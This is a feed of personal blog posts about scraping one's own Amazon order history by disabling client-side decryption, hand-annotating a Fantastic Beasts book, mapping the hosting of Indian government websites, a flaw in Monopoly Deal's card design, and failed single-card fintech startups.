Nemo's Home2024-11-28T10:22:57+00:00https://captnemo.inNemoAmazon Order History Encryption Bypass2021-05-14T00:00:00+00:00https://captnemo.in/blog/2021/05/14/amazon-website-order-drm<p>The Amazon US website allows you to export your Order History easily by visiting the “<a href="https://www.amazon.com/gp/b2b/reports">Order History Reports</a>” page. No such option seems to exist for the Amazon websites for other countries. I was trying to write a simple scraper for the <a href="https://www.amazon.in/gp/your-account/order-history">Amazon India Order History Page</a> to get the same data, and discovered something interesting: Amazon encrypts the Order history page, and decrypts it using client side cryptography<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup>. If you were to visit the page, and check the response HTML, you’d see something like this in the source code (fairly simplified):</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Define encrypted content in JS</span>
<span class="kd">var</span> <span class="nx">payload</span> <span class="o">=</span> <span class="p">{</span>
<span class="dl">"</span><span class="s2">kid</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">b70014</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">iv</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">/HenfXwYrGrrw8ff</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">ct</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">Wt78pPcibe8HAdVtoJ8+E9EGwt4IQYNghBMubBy7Zy/...</span><span class="dl">"</span>
<span class="p">}</span>
<span class="c1">// The HTML div to be populated with the decrypted HTML</span>
<span class="kd">var</span> <span class="nx">elementId</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">csd-encrypted-889C1D02..</span><span class="dl">"</span><span class="p">;</span>
<span class="c1">// if client side decryption library failed to load</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">window</span><span class="p">.</span><span class="nx">SiegeClientSideDecryption</span><span class="p">)</span> <span class="p">{</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">?disableCsd=missing-library</span><span class="dl">"</span><span class="p">;</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// Decrypt and populate the div</span>
<span class="nx">SiegeClientSideDecryption</span><span class="p">.</span><span class="nx">decryptInElementWithId</span><span class="p">(</span>
<span class="nx">elementId</span><span class="p">,</span> <span class="nx">payload</span><span class="p">,</span> <span class="p">{</span><span class="na">callSource</span><span class="p">:</span> <span class="dl">"</span><span class="s2">now</span><span class="dl">"</span><span class="p">}</span>
<span class="p">);</span>
</code></pre></div></div>
<p>The easiest way to scrape with such hurdles is often to just <a href="https://github.com/angrykoala/awesome-browser-automation">run a complete browser</a> to scrape the site. The browser runs the javascript code with the decryption routine so you can scrape the actual content. However, it is much slower, and wastes CPU cycles - I try to avoid it if I can.</p>
<aside><details>
<summary>Aside: Click here for explanation of the decryption code</summary>
<p>The server sends some HTML encrypted as a JSON payload (<code class="language-plaintext highlighter-rouge">ct</code> is truncated ciphertext in the snippet above), along with the IV and a Key ID. The <code class="language-plaintext highlighter-rouge">SiegeClientSideDecryption</code> library is then called to decrypt the payload and set the plaintext result as inner HTML of the elementID. The code redirects to a different URL in case the decryption library fails to load.</p>
</details></aside>
<p>I could have spent time to parse the encryption routine, extract the key and decrypt the payload. But I found a much simpler solution - Amazon offers an alternate URL which disables encryption. As a fallback, in case the decryption code fails, it adds a query parameter <code class="language-plaintext highlighter-rouge">?disableCsd=missing-library</code>. That disables the server side encryption entirely.</p>
<p>So if you’re trying to scrape Amazon and stumped at the missing order history in the HTML, try visiting the following URLs instead:</p>
<ul>
<li><a href="https://www.amazon.in/gp/css/order-history?disableCsd=missing-library">https://www.amazon.in/gp/css/order-history?disableCsd=missing-library</a></li>
<li><a href="https://www.amazon.co.uk/gp/css/order-history?disableCsd=missing-library">https://www.amazon.co.uk/gp/css/order-history?disableCsd=missing-library</a></li>
<li><a href="https://www.amazon.com/gp/css/order-history?disableCsd=missing-library">https://www.amazon.com/gp/css/order-history?disableCsd=missing-library</a></li>
</ul>
<p>Amazon also sets a cookie <code class="language-plaintext highlighter-rouge">csd-key=disabled</code> but I didn’t experiment with that much.</p>
<h3 id="request-my-data">Request My Data</h3>
<p>Another alternative to scraping is to request <a href="https://amazon.com/gp/privacycentral/dsar/preview.html">Amazon for your data</a>. Check the <code class="language-plaintext highlighter-rouge">Retail.OrderHistory</code> CSV files in the data export. The export from <code class="language-plaintext highlighter-rouge">amazon.com</code> includes data for other countries as well. The feature is also available on other Amazon sites:</p>
<ul>
<li><a href="https://www.amazon.com/gp/privacycentral/dsar/preview.html">Amazon US - Request My Data</a></li>
<li><a href="https://www.amazon.in/gp/privacycentral/dsar/preview.html">Amazon India - Request My Data</a></li>
<li><a href="https://www.amazon.co.uk/gp/privacycentral/dsar/preview.html">Amazon UK - Request My Data</a></li>
<li><a href="https://www.amazon.de/gp/privacycentral/dsar/preview.html">Amazon Germany - Request My Data</a></li>
</ul>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:1" role="doc-endnote">
<p>I’m hesitant to call this <a href="https://www.defectivebydesign.org/"><abbr title="Digital Restrictions Management">DRM</abbr></a>, but it might qualify as such. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>
Writing on books - Fantastic Beasts and Where to Find Them2020-11-29T00:00:00+00:00https://captnemo.in/blog/2020/11/29/fantastic-beasts-graffiti<p>“Fantastic Beasts and Where to Find Them” is a curious book:</p>
<ul>
<li>The in-universe book is written by Newt Scamander and was published in 1927.</li>
<li>The first edition of the companion book was published in 2001. This is apparently the 52nd in-universe edition with a foreword from Dumbledore and was released to the muggle world for charity.</li>
<li>The 2001 edition pretends to be Harry’s copy of the book as of the end of Harry’s 4th year at Hogwarts. As such it includes hand-written comments from the trio. (Yes, Hermione writes on books!)</li>
</ul>
<p>However, with the release of the film of the same name in 2016 - a new edition was released with lots of changes:</p>
<ol>
<li>6 new beasts that made an appearance in the film were added to the book<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup>:
<ul>
<li>Hidebehind</li>
<li>Hodag</li>
<li>Horned Serpent</li>
<li>Snallygaster</li>
<li>Thunderbird</li>
<li>Wampus cat</li>
</ul>
</li>
<li>The hand-lettering was removed.</li>
<li>Dumbledore’s foreword is removed from the book, in favor of a in-universe foreword from Newt Scamander.</li>
<li>“About the Author” section changes Newt’s background. He <a href="https://old.reddit.com/r/harrypotter/comments/5z8ozu/new_edition_of_fantastic_beasts_removes_part/">no longer graduates from Hogwarts</a>, just “leaves” it, as portrayed in the film.</li>
</ol>
<p>All of these changes are meant to fix the inconsistencies in the book with the canon, however that also makes the book much less charming. I got myself a copy of the <a href="https://amzn.to/39ni3vh">Hogwarts Library boxset</a> a few years ago, which includes the newer edition of the book (Bloomsbury) - that means no witty comments from Ron.</p>
<p>Since it didn’t have the hand-lettering, I took it upon myself to fix that mistake. Thankfully, lists of <a href="https://harrypotter.fandom.com/wiki/Fantastic_Beasts_and_Where_to_Find_Them_(companion_book)#Comments_in_the_2001_edition">all the comments in 2001 edition</a> are available <a href="https://imgur.com/a/C2a1g">on the internet</a>. The trickiest part was the “this book belongs to” page, which is missing from the newer edition. I ended up creating a faux-library card for that instead.</p>
<p>Here is what it looks like:</p>
<div class="splide" id="image-slider" style="background-color:#efefef">
<div class="splide__track">
<ul class="splide__list">
<li class="splide__slide"><img title="Ron plays hangman and loses" src="/img/fbawtft/mine/1.jpg" /><div>Ron plays hangman and loses.</div></li>
<li class="splide__slide"><img title="The fake library card that says this book belongs to Harry Potter" src="/img/fbawtft/mine/3.jpg" /><div>Hermione writes on books!</div></li>
<li class="splide__slide"><img src="/img/fbawtft/mine/4.jpg" /></li>
<li class="splide__slide">
<img src="/img/fbawtft/mine/2.jpg" />
<img src="/img/fbawtft/mine/5.jpg" />
<img src="/img/fbawtft/mine/6.jpg" />
<img src="/img/fbawtft/mine/7.jpg" />
<img src="/img/fbawtft/mine/8.jpg" />
</li>
<li class="splide__slide">
<img src="/img/fbawtft/mine/10.jpg" />
<img src="/img/fbawtft/mine/11.jpg" />
<img src="/img/fbawtft/mine/12.jpg" />
<img src="/img/fbawtft/mine/13.jpg" />
<img src="/img/fbawtft/mine/14.jpg" />
</li>
<li class="splide__slide">
<img src="/img/fbawtft/mine/16.jpg" />
<img src="/img/fbawtft/mine/17.jpg" />
<img src="/img/fbawtft/mine/18.jpg" />
<img src="/img/fbawtft/mine/19.jpg" />
<img src="/img/fbawtft/mine/20.jpg" />
</li>
<li class="splide__slide">
<img src="/img/fbawtft/mine/15.jpg" />
<img src="/img/fbawtft/mine/21.jpg" />
<img src="/img/fbawtft/mine/22.jpg" />
<img src="/img/fbawtft/mine/23.jpg" />
<img src="/img/fbawtft/mine/24.jpg" />
</li>
<li class="splide__slide">
<img src="/img/fbawtft/mine/25.jpg" />
<img src="/img/fbawtft/mine/26.jpg" />
</li>
</ul>
</div>
</div>
<p>Thanks to <a href="https://instagram.com/avyadraws/">Bhavya</a> for helping with the troll illustration.</p>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:1" role="doc-endnote">
<p>I didn’t like the new additions, they sound less like a textbook and more like a transcript of what happened in the film. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>
Analysing the Indian government cyberspace2020-09-16T00:00:00+00:00https://captnemo.in/blog/2020/09/16/goi-cyberspace<p>I recently did some work on analysing the Indian government cyberspace, thought I should document them somewhere outside of my Twitter<sup id="fnref:9" role="doc-noteref"><a href="#fn:9" class="footnote" rel="footnote">1</a></sup>.</p>
<h2 id="list-of-goi-websites">List of GoI websites</h2>
<p>I’d made a list of Indian government websites in Jan 2019:</p>
<blockquote class="twitter-tweet"><p lang="en" dir="ltr">I ran <a href="https://twitter.com/18F?ref_src=twsrc%5Etfw">@18F</a> /pulse on Indian Government websites to see how many of them support HTTPS. A quick summary:<br /><br />Total Websites: 14183<br />Total Live Websites: 11710 (82%)<br />Websites with Valid HTTPS: 4753 (40% of all live websites)<br /><br />Raw Dataset for now: <a href="https://docs.google.com/spreadsheets/d/16LWWplbSAu-EkWk4R7OVsk8JM6guyZ3yiKdXIzBDT_Q/edit?usp=sharing">docs.google.com/spreadsheets</a></p>— Nemo (@captn3m0) <a href="https://twitter.com/captn3m0/status/1085050749011161089?ref_src=twsrc%5Etfw">January 15, 2019</a></blockquote>
<script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
<p>The dataset was from 2 sources:</p>
<ol>
<li><a href="http://goidirectory.nic.in/">GoI Directory</a></li>
<li><a href="https://crt.sh">crt.sh</a> (All certificates ending in <code class="language-plaintext highlighter-rouge">.gov.in</code> were used)</li>
</ol>
<p>I re-ran the scripts to get an updated list (12842 domains), then tabulated them against the public-suffix<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">2</a></sup> for each. There is a long-tail, and I’ve published results <a href="https://gist.github.com/captn3m0/4f3da8f07fe884e62bfab3ac85616936">here</a>. Here are the top public suffixes for Indian government sites:</p>
<table>
<thead>
<tr>
<th>Public Suffix</th>
<th>Domains</th>
</tr>
</thead>
<tbody>
<tr>
<td>nic.in</td>
<td>2454</td>
</tr>
<tr>
<td>gov.in</td>
<td>7259</td>
</tr>
<tr>
<td>in</td>
<td>528</td>
</tr>
<tr>
<td>ac.in</td>
<td>490</td>
</tr>
<tr>
<td>com</td>
<td>568</td>
</tr>
<tr>
<td>co.in</td>
<td>171</td>
</tr>
<tr>
<td>org.in</td>
<td>168</td>
</tr>
<tr>
<td>edu.in</td>
<td>117</td>
</tr>
<tr>
<td>org</td>
<td>844</td>
</tr>
<tr>
<td>res.in</td>
<td>134</td>
</tr>
<tr>
<td>net.in</td>
<td>12</td>
</tr>
<tr>
<td>net</td>
<td>38</td>
</tr>
</tbody>
</table>
<h2 id="sanskari-proxy">Sanskari Proxy</h2>
<p>This was a long standing idea on my <a href="https://github.com/captn3m0/ideas">ideas repo</a>:</p>
<blockquote>
<p>A lot of Indian Government websites are inaccessible on the public internet, because
they geo-fence it to within Indian Boundaries. The idea
is to make a Indian Proxy service that specifically works only for the Geo-fenced Indian government
websites.</p>
<p>For eg, if <code class="language-plaintext highlighter-rouge">uidai.gov.in</code> is inaccessible, hitting <code class="language-plaintext highlighter-rouge">uidai.gov.sanskariproxy.in</code> will get you
the same result, proxied via our servers.</p>
</blockquote>
<p>Since I’d made an updated list of GoI websites, this seemed easy enough. I realized that setting up <code class="language-plaintext highlighter-rouge">uidai.gov.sanskariproxy.in</code> would likely count as impersonation under the Indian law,
so I did the next best thing: run an actual proxy. Here’s the announcement tweet:</p>
<blockquote class="twitter-tweet"><p lang="en" dir="ltr">Are you a security researcher outside India? Do you hate getting geoblocked to Indian government websites?<br /><br />Well, I made a proxy for security researchers outside India to access Indian government websites without resorting to shady VPNs.<br /><a href="https://github.com/captn3m0/sanskari-proxy">captn3m0/sanskari-proxy</a></p>— Nemo (@captn3m0) <a href="https://twitter.com/captn3m0/status/1302191390508552192?ref_src=twsrc%5Etfw">September 5, 2020</a></blockquote>
<script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
<p>Project page is <a href="https://github.com/captn3m0/sanskari-proxy">https://github.com/captn3m0/sanskari-proxy</a>, and if you’d like to get access - please reach out.</p>
<h2 id="cyberspace-ownership">Cyberspace Ownership</h2>
<p>I’d planned to get a complete list of geoblocked websites next. While I’m progressing on this front, the results have been inconsistent/inaccurate so far. As an intermediate step, I’d made a list of IPs against every domain<sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">3</a></sup>, which looked like this:</p>
<table>
<thead>
<tr>
<th>Domain</th>
<th>IP Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>aavin.tn.gov.in</td>
<td>164.100.134.148</td>
</tr>
<tr>
<td>abnhpm.gov.in</td>
<td>14.143.233.34</td>
</tr>
<tr>
<td>agnii.gov.in</td>
<td>13.232.216.65</td>
</tr>
<tr>
<td>ap.gov.in</td>
<td>117.254.92.53</td>
</tr>
<tr>
<td>aponline.gov.in</td>
<td>125.16.9.130</td>
</tr>
<tr>
<td>appolice.gov.in</td>
<td>118.185.110.147</td>
</tr>
<tr>
<td>attendance.gov.in</td>
<td>164.100.166.114</td>
</tr>
<tr>
<td>cgg.gov.in</td>
<td>112.133.222.115</td>
</tr>
</tbody>
</table>
<p>While running numerous nmap scans (and failing), I start checking the <abbr title="Autonomous System Number"><a href="https://en.wikipedia.org/wiki/Autonomous_system_(Internet)">ASN</a></abbr><sup id="fnref:asn" role="doc-noteref"><a href="#fn:asn" class="footnote" rel="footnote">4</a></sup> for some of these IPs to see who was hosting each website - especially the ones I was finding were blocked.</p>
<p>I stumbled upon a bulk <a href="https://team-cymru.com/community-services/ip-asn-mapping/">IP to ASN service</a> by Cymru, ran all the IPs against it and published the results. Here’s the important graph:</p>
<p><img src="/img/domain-by-asn.png" alt="% of Indian Government domains hosted by each ASN. The image is a pie-chart representation showing share of each ASN. 45% of the chart is taken up by " /></p>
<p>As you can expect, <abbr title="National Informatics Centre">NIC</abbr><sup id="fnref:nic" role="doc-noteref"><a href="#fn:nic" class="footnote" rel="footnote">5</a></sup> has the highest share, with <abbr title="National Knowledge Network">NKN</abbr><sup id="fnref:nkn" role="doc-noteref"><a href="#fn:nkn" class="footnote" rel="footnote">6</a></sup>, BSNL, and <a href="https://www.ctrls.in/">CtrlS</a> following at roughly 5% each. There are a few other chart on <a href="https://twitter.com/captn3m0/status/1303683006276620288">the twitter thread</a>, and the raw data is available <a href="https://docs.google.com/spreadsheets/d/e/2PACX-1vRFcjIsqE13A7FaRID_z_ETFtGNdpznx4VcFfmEzJGjHBx-oT-urp60C9BZZK7Umc9f5QX0Z4Yd3Vja/pubhtml#">here</a> with interactive versions of each visualization.</p>
<h2 id="what-next">What next?</h2>
<p>I’m working on running and comparing connectivity scans to these IPs to get a better understanding of the geoblocking situation. There’s also some issues with the domain list, as it seems to be missing lots of domains - so more corrections are needed.</p>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:9" role="doc-endnote">
<p>Twitter decided to suspend 12 different accounts I had access to recently - I’m starting to get wary of using Twitter for archival now. <a href="#fnref:9" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:1" role="doc-endnote">
<p>A “public suffix” is one under which Internet users can (or historically could) directly register names. For eg - <code class="language-plaintext highlighter-rouge">nic.in</code> or <code class="language-plaintext highlighter-rouge">github.io</code>. Mozilla manages the list at <a href="https://publicsuffix.org/">https://publicsuffix.org/</a>. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:2" role="doc-endnote">
<p>There are issues with this approach, since domains do resolve to multiple IPs. But this is okay for the rudimentary analysis I’ve been doing so far. <a href="#fnref:2" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:asn" role="doc-endnote">
<p>Autonomous Systems (AS) is how the internet is sliced up and managed by different entities. Each AS (usually an ISP) is responsible for routing within its network, while announcing network routes on how it can be reached. <a href="#fnref:asn" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:nic" role="doc-endnote">
<p>The primary government office (under <abbr title="Ministry of Electronics and Information Technology">MeitY</abbr>) that provides infrastructure and support for government IT services. <a href="#fnref:nic" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:nkn" role="doc-endnote">
<p>National Knowledge Network is a multi-gigabit research and education network that provides a high speed network backbone for educational institutions in India. <a href="#fnref:nkn" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>
The game breaking Deal Breaker card2020-06-24T00:00:00+00:00https://captnemo.in/monopoly-deal<p>I have a presentation I sometimes give about Monopoly being a terrible game<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup>.
I usually end it by pointing the audience to Monopoly Deal, which I introduce it as
“the only Monopoly edition you can enjoy”.</p>
<p>The advantages are obvious:</p>
<ol>
<li>Much shorter game length.</li>
<li>No dice rolls.</li>
</ol>
<p>Even if you lose badly on luck, you’ve only lost 15 minutes. While it is better than Monopoly, that isn’t to say it is a well designed game (6.3 on BoardGameGeek).</p>
<p>The one major dent in the otherwise decent game is the “Deal Breaker” card, which breaks the game. I’ve house-ruled the game
since forever to keep the card out of the game, since it breaks the most important rule of game design:</p>
<blockquote>
<h2 id="games-should-be-fun">Games should be fun<sup id="fnref:9" role="doc-noteref"><a href="#fn:9" class="footnote" rel="footnote">2</a></sup></h2>
</blockquote>
<p>Deal Breaker stops people from doing that. How? Read on.</p>
<p><img src="/img/deal-breaker.jpg" alt="" /></p>
<aside>
<details>
<summary>Aside: Monopoly Deal (2-5 players) Basic Rules (Click to expand)</summary>
The objective of the game is to get 3 sets of properties in distinct colors. The first player to 3 sets wins the game. There are some action cards, which let you get money/properties from other players. Important action cards, relevant for this post:
<ul>
<li>The <strong>Deal Breaker</strong> card lets you "steal" a complete set from another player.</li>
<li>The <strong>Just Say No</strong> card lets you say no to any action that any player takes against you. It is the only way to counter a Deal Breaker card.</li>
</ul>
<img src="/img/just-say-no.jpg" alt="Just say no card in Monopoly deal" />
<a href="https://youtu.be/Gc0XrTjmCV8">Here's a short 3 minute video</a> if you'd like to learn the complete rules.
</details>
</aside>
<hr />
<p>A lot of metagaming discussion with <a href="#link-somewhere-nice">friends</a> resulted in the following observations:</p>
<ul>
<li>The Deal Breaker is a very powerful card (It takes you 1/3rd of the way to a victory).</li>
<li>You can assume the single Deal Breaker card to be worth a complete set.</li>
<li>The best use of such a card is to <em>win the game</em>. Using it earlier means giving other players a chance to drag you down from 2->1 set. But if you use it to win the game, the game ends immediately.</li>
<li>Hence, Deal Breaker will always end up being the last card of the game.</li>
</ul>
<p>If you are playing a game with the Deal Breaker card, you’d want to save it till the very end, and win the game with it. The only possible case for not winning is the other player having a “Just Say No” card, and playing it on the Deal Breaker to negate your move.</p>
<p>Ergo, the metagame converges to the following:</p>
<ol>
<li>Any game with Deal Breaker will end up having the Deal Breaker as the last turn.</li>
<li>The only way to prevent someone else from winning with the Deal Breaker is to play a Just Say No on the Deal Breaker.</li>
<li>If you have a Just Say No card, you <em>must save it till the end of the game for the Deal Breaker</em>.</li>
</ol>
<p>There are 2 Deal Breakers, and 3 Just Say Nos in the game. However, considering a single Deal Breaker is enough to win the game, and the chances of you getting a second of either card are fairly small - both the Deal Breaker and Just Say No cards will end up getting hoarded for the endgame.</p>
<p>What this results in is something that breaks the fundamental rule of game design:</p>
<blockquote>
<h2 id="players-are-disincentivized-from-playing-the-just-say-no-card">Players are disincentivized from playing the Just Say No card.</h2>
</blockquote>
<p>As any Exploding Kittens player can confirm, playing a Just Say No card is one of the coolest moves in the game. It lets you stick it to the player who dares ask you for 8M<sup id="fnref:7" role="doc-noteref"><a href="#fn:7" class="footnote" rel="footnote">3</a></sup> rent. It lets you pretend you’re counting your money, and then pull out a trump card and feel awesome! By disincentivizing players from playing the coolest card in the game, the Deal Breaker card makes things less fun. And that breaks our “rule of fun”.</p>
<p>In fact, the mere existence of a Deal Breaker card changes the equation. Note that there may be cases where you lose with a Just Say No card because you were hoarding it for the eventual Deal Breaker (which might never come). Someone asks you for 4M rent, and you have to pay up despite having a Just Say No card, because <em>you must save the damn card for when someone steals your set</em>. There are a few rare exceptions, but the Deal Breaker creates too many plays where not playing the Just Say No is indeed the correct move.</p>
<p>So here is the more interesting corollary observation:</p>
<blockquote>
<h2 id="the-mere-existence-of-the-deal-breaker-card-breaks-the-game-by-making-the-just-say-no-card-unplayable-and-worthless">The mere existence of the Deal Breaker card breaks the game by making the Just Say No card unplayable and worthless.<sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">4</a></sup></h2>
</blockquote>
<p>Hence, if you’re playing Monopoly Deal, please house-rule the Deal Breaker card and make it easier for everyone. Two easy ways are:</p>
<ol>
<li>Remove the card from the game entirely.</li>
<li>Reduce the power of the game to be same as a Forced Deal, except let it break a set.</li>
</ol>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:1" role="doc-endnote">
<p>I have the <a href="https://slides.com/captn3m0/monopoly">slides here</a>, but they don’t stand well on their own. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:9" role="doc-endnote">
<p>Any game that eliminates players from the game breaks this rule. Popular examples are Monopoly and Mafia/Werewolf. Also see <a href="https://danielsolisblog.blogspot.com/2015/07/one-thing-to-avoid-in-game-design.html">this amazing post</a> on the biggest mistake that Guillotine makes (The “Callous Guard” card). <a href="#fnref:9" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:7" role="doc-endnote">
<p>Turns out, that there is no symbol in the unicode for <a href="https://boardgames.stackexchange.com/questions/23909/what-is-the-monopoly-m-symbol-called">Monopoly Money</a> <a href="#fnref:7" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:2" role="doc-endnote">
<p>We decided Deal Breaker might make sense in 6+ player games with many more cards, where it might help even the playing grounds a bit for a losing player (much more likely) instead of helping the almost-winning-player score a victory. <a href="#fnref:2" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>
A survey of OneCardToRuleThemAll companies2020-06-22T00:00:00+00:00https://captnemo.in/single-card<p>A lot of companies have come up with the idea for reducing all your cards into a single piece of plastic. Here’s a summary of all the ones I could find, and their fate.
Beware: this field is very much a startup graveyard. The only remaining survivor seems to be Curve<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup> but it’s also the first one that’s attempting this outside of US.</p>
<p>There seem to be a lot of challenges (regulatory, financial, and technical) before such a thing becomes reality. And there’s Apple/Samsung Pay as well. Here’s a summary of all the companies I could find in this space.
If I’ve missed any, please let me know, and I’ll add them here.</p>
<p><img src="/img/card.jpg" alt="A photo of a hand holding a blank card" /></p>
<h2 id="curve-2015-"><a href="https://www.curve.com/">Curve</a> (2015-)</h2>
<blockquote>
<p>Curve allows you to spend from any of your accounts using just one card, clearing the clutter from your wallet and simplifying your finances.</p>
</blockquote>
<ul>
<li>Curve has raised a total of $74M at a valuation north of $250M, out of which £6M were from a crowdfunding campaign in 2019.</li>
<li>Their waitlist is at 800,000+ users.</li>
<li><a href="https://www.businessinsider.com/curve-fintech-startup-leaked-active-users-crowdfunding-2019-11">Curve faced flak for failing to disclose its usage numbers</a> (<100,000 monthly active users out of total 500,000) to crowdfund investors.</li>
<li>Only works with Visa/MasterCard. Used to work with Amex, but Curve has a history of working and being blocked by Amex repeatedly.</li>
<li>See <a href="https://www.curve.com/en-gb/how-it-works">this page</a> for some details on how it works.</li>
</ul>
<h2 id="coin-yc-w13-2012-2017">Coin (YC W13) (2012-2017)</h2>
<ul>
<li>Coin raised a total of $15.6M.</li>
<li><a href="https://techcrunch.com/2015/04/17/coin-the-one-credit-card-to-rule-them-all-is-finally-shipping/">Shipped in 2015 April</a>.</li>
<li><a href="https://investor.fitbit.com/press/press-releases/press-release-details/2016/Fitbit-Inc-Acquires-Wearable-Payments-Assets-From-Financial-Technology-Company-Coin/default.aspx">Acquired by Fitbit in May 2016</a>.</li>
<li><a href="https://techcrunch.com/2017/01/31/coin-shut-down/">Shutdown by Fitbit in Feb 2017</a>.</li>
<li>Related: <a href="https://techcrunch.com/2019/11/01/google-is-acquiring-fitbit/">Google acquired FitBit in 2019 Nov</a>.</li>
</ul>
<h2 id="plastc-2014-2017">Plastc (2014-2017)</h2>
<ul>
<li>Single dynamic card with e-Ink touchscreen. See obligatory <a href="https://www.youtube.com/watch?v=8QrI3lntq3g">launch video</a> with fancy AR.</li>
<li>Crowdfunded $9M on pre-orders in October 2014.</li>
<li>Delayed launch to April 2016, and then again to September 2016.</li>
<li>Shut down and declared bankruptcy in April 2017.</li>
<li><a href="https://digg.com/2017/plastc-smart-card-bankruptcy-what-happened">Complete story via digg.com</a>.</li>
</ul>
<h2 id="stratos-2015-2015">Stratos (2015-2015)</h2>
<ul>
<li>Was supposed to cost $95/year.</li>
<li><a href="https://techcrunch.com/2015/05/26/the-stratos-all-in-one-credit-card-isnt-perfect-enough/">Announced May 2015</a>.</li>
<li>Raised $6.63 million over three rounds of financing.</li>
<li>Ran out of money by <a href="https://techcrunch.com/2015/12/21/stratos-card-to-shut-down-just-six-months-after-launching/">December 2015</a>.</li>
<li>Sold to <a href="https://techcrunch.com/2015/12/22/stratos-sells-to-ciright-one-to-avoid-collapse/">Ciright One</a> to avoid collapse.</li>
<li>Seems to be dead now.</li>
</ul>
<h2 id="swyp-2014-2017">Swyp (2014-2017)</h2>
<ul>
<li>Had a pre-order campaign in 2014.</li>
<li>Raised $5M from Khosla Ventures in 2017.</li>
<li>Tried to pivot in 2017, failed.</li>
<li>Offered customers a <a href="https://web.archive.org/web/20200225225658/http://blog.swypcard.com/blog/swyp-card-july-update">debit card with an app called Hoot</a> in 2017 as an alternative to refunds. I don’t think the Hoot card ever materialized.</li>
<li>Tilt (Swyp’s payment processor) also ceased operations in 2017, due to unrelated reasons.</li>
<li>Swyp <a href="https://web.archive.org/web/20200224230053/http://blog.swypcard.com/blog/swyp-card-update">finally shut down in December 2017</a>.</li>
</ul>
<h2 id="final-yc-w15-2014-2017"><a href="https://www.getfinal.com/">Final</a> (YC W15) (2014-2017)</h2>
<ul>
<li>Final was with a credit card with a different number for every website. As a independent card, Final doesn’t exactly fit in this list, but it’s a very relevant and loved product.</li>
<li>Announced itself <a href="https://www.youtube.com/watch?v=8ZtG5DX5FR0">with a snazzy video</a> in mid 2014</li>
<li>Raised $4M and launched in August 2016, but remained invite-only till the very end.</li>
<li>Final’s blog has some interesting content: A <a href="https://www.getfinal.com/company-news/2017/08/21/rfcc/">Request for Credit Cards</a> program to build card-issuance backed businesses and the <a href="https://www.getfinal.com/company-news/2017/03/30/2017-payment-card-landscape/">Payment card landscape</a> for 2017.</li>
<li><a href="https://www.getfinal.com/company-news/2017/12/06/a-final-farewell/">Shut down in december 2017</a> and acquired <a href="https://www.fastcompany.com/40523758/goldman-sachs-buys-credit-card-startup-final">by Goldman Sachs</a> in an acqui-hire.</li>
</ul>
<h1 id="indian-landscape">Indian Landscape</h1>
<p>India hasn’t seen a true single-card app yet, but there have been lots of related attempts:</p>
<ul>
<li><a href="https://getinfino.com/">Infino promises a single-card</a>, but it hasn’t launched yet. It had a <a href="https://trello.com/b/2h9S100Z/the-infino-roadmap">public roadmap</a>, but never launched and ultimately pivoted to a Coupon Aggregator called Meet Donut, which shut down.</li>
<li>IndusInd bank has <a href="https://www.businesstoday.in/sectors/banks/indusind-launches-credit-cum-debit-card-confuse-customers/story/284912.html">tried a dual-chip debit+credit</a> card. Union Bank has <a href="https://www.unionbankofindia.co.in/english/debit-cum-credit-card.aspx">a similar card</a>.</li>
<li>IndusInd has also <a href="https://www.businesstoday.in/top-story/new-credit-card-with-buttons-gives-users-emi-options-helps-redeem-reward-points/story/290763.html">tried an interactive credit card</a> with 3 buttons.</li>
<li><a href="https://fampay.in/">FamPay</a>, <a href="https://fold.money/">Fold</a>, <a href="https://www.goniyo.com/">Niyo</a>, <a href="https://www.getonecard.app/">OneCard</a>, <a href="https://meetdonut.com/">Donut</a>🪦, <a href="https://vcard.ai/">vCard</a>🪦, <a href="https://sliceit.com/">Slice</a> <sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup> and lots of other startups are doing co-branded issuance, but that’s not the same thing.</li>
</ul>
